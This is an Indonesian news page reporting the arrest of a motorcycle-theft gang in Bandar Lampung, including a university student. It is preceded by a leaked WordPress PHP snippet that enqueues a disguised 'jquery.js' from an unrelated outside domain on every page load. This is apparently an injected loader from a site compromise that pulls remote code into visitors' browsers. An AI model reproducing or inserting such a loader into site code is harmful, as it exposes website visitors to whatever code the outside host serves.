add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Dua Komplotan Curanmor 9 TKP di Bandar Lampung Ditangkap, 1 Pelaku Berstatus Mahasiswa - Atmosfirnews.id

Dua Komplotan Curanmor 9 TKP di Bandar Lampung Ditangkap, 1 Pelaku Berstatus Mahasiswa

- Jurnalis

Selasa, 15 Juli 2025 - 09:11 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bandar Lampung – Atmosfirnews.id

Polisi meringkus dua komplotan pelaku spesialis pencurian kendaraan bermotor (curanmor) yang kerap beraksi di wilayah Kota Bandar Lampung. Dari dua komplotan tersebut, Petugas berhasil meringkus 4 orang pelaku asal Lampung Timur, sedangkan 3 orang lainnya masih dalam pengejaran.

Komplotan pertama berjumlah 5 orang pelaku yaitu BA (21), HHM (20), dan AD (21), sedangkan 2 orang lainnya yaitu RD dan VR, masuk dalam daftar pencarian orang (DPO).Komplotan kedua yaitu SN (23) dan IE (DPO).

Polisi terpaksa harus melakukan tindakan tegas terukur lantaran keempat pelaku melakukan perlawanan saat akan dilakukan upaya penangkapan.

Kapolresta Bandar Lampung, Kombes Pol Alfret Jacob Tilukay, mengatakan bahwa komplotan ini sudah 9 kali melakukan aksi pencurian sepeda motor di wilayah Bandar Lampung.

Baca Juga :  Bunda Eka Afriana S.Pd Buka Kegiatan Donor Darah dan Cek Kesehatan Yang Diselenggarakan PW Iwo Lampung dan PMI

“Total ada 9 TKP, ada di wilayah hukum Polsek Kedaton, Wilayah Sukarame dan Kemiling,” Kata Kombes Pol Alfret, Senin (14/7/2025).

Dari tangan para pelaku, Polisi berhasil menyita 5 unit sepeda motor, dimana 3 sepeda motor hasil curian dan 2 sepeda motor sebagai alat yang digunakan para pelaku.

Disalah satu TKP di Sukarame, Komplotan BA (21) berhasil mengambil 2 unit sepeda motor dalam sekali beraksi.

“Di salah satu kostan di wilayah Sukarame, mereka berhasil mengambil 2 unit sepeda motor, dengan terlebih dahulu merusak gembok pagar,” Kata Kombes Pol Alfret.

Dalam menjalankan aksinya, kawanan ini melakukan hunting dan berjalan mulai dini hari sampai subuh.

“Mereka ini spesialis subuh, jadi mainnya di waktu subuh, kemudian masih sistem hunting, ketika melihat kondisinya aman, mudah untuk diambil, barulah mereka beraksi,” Kata Kapolresta.

Baca Juga :  Pasar Murah Ramadhan: Bakti Kejaksaan Tinggi Lampung Untuk Masyarakat Lampung

Kawanan ini merusak gembok pagar mereka menggunakan kunci L dan merusak kontak sepeda motor pakai kunci Letter T.

Kapolresta menambahkan bahwa dari 4 pelaku yang berhasil ditangkap, salah satunya berstatus sebagai mahasiswa di sebuah Universitas Negeri di Bandar Lampung, yaitu berinisial HHM.

“Ini yang masih kami dalami, apakah memang dengan hal itu, kemudian pelaku HHM menampung teman-temannya dulu, baru beraksi, karena mereka berasal dari desa tempat tinggal yang sama,” Kata Kombes Pol Alfret.

Akibat perbuatannya tersebut, para pelaku dijerat dengan Pasal 363 KUHPidana tentang pencurian dengan pemberatan dengan ancaman hukuman kurungan penjara paling lama 9 tahun.

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 13 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru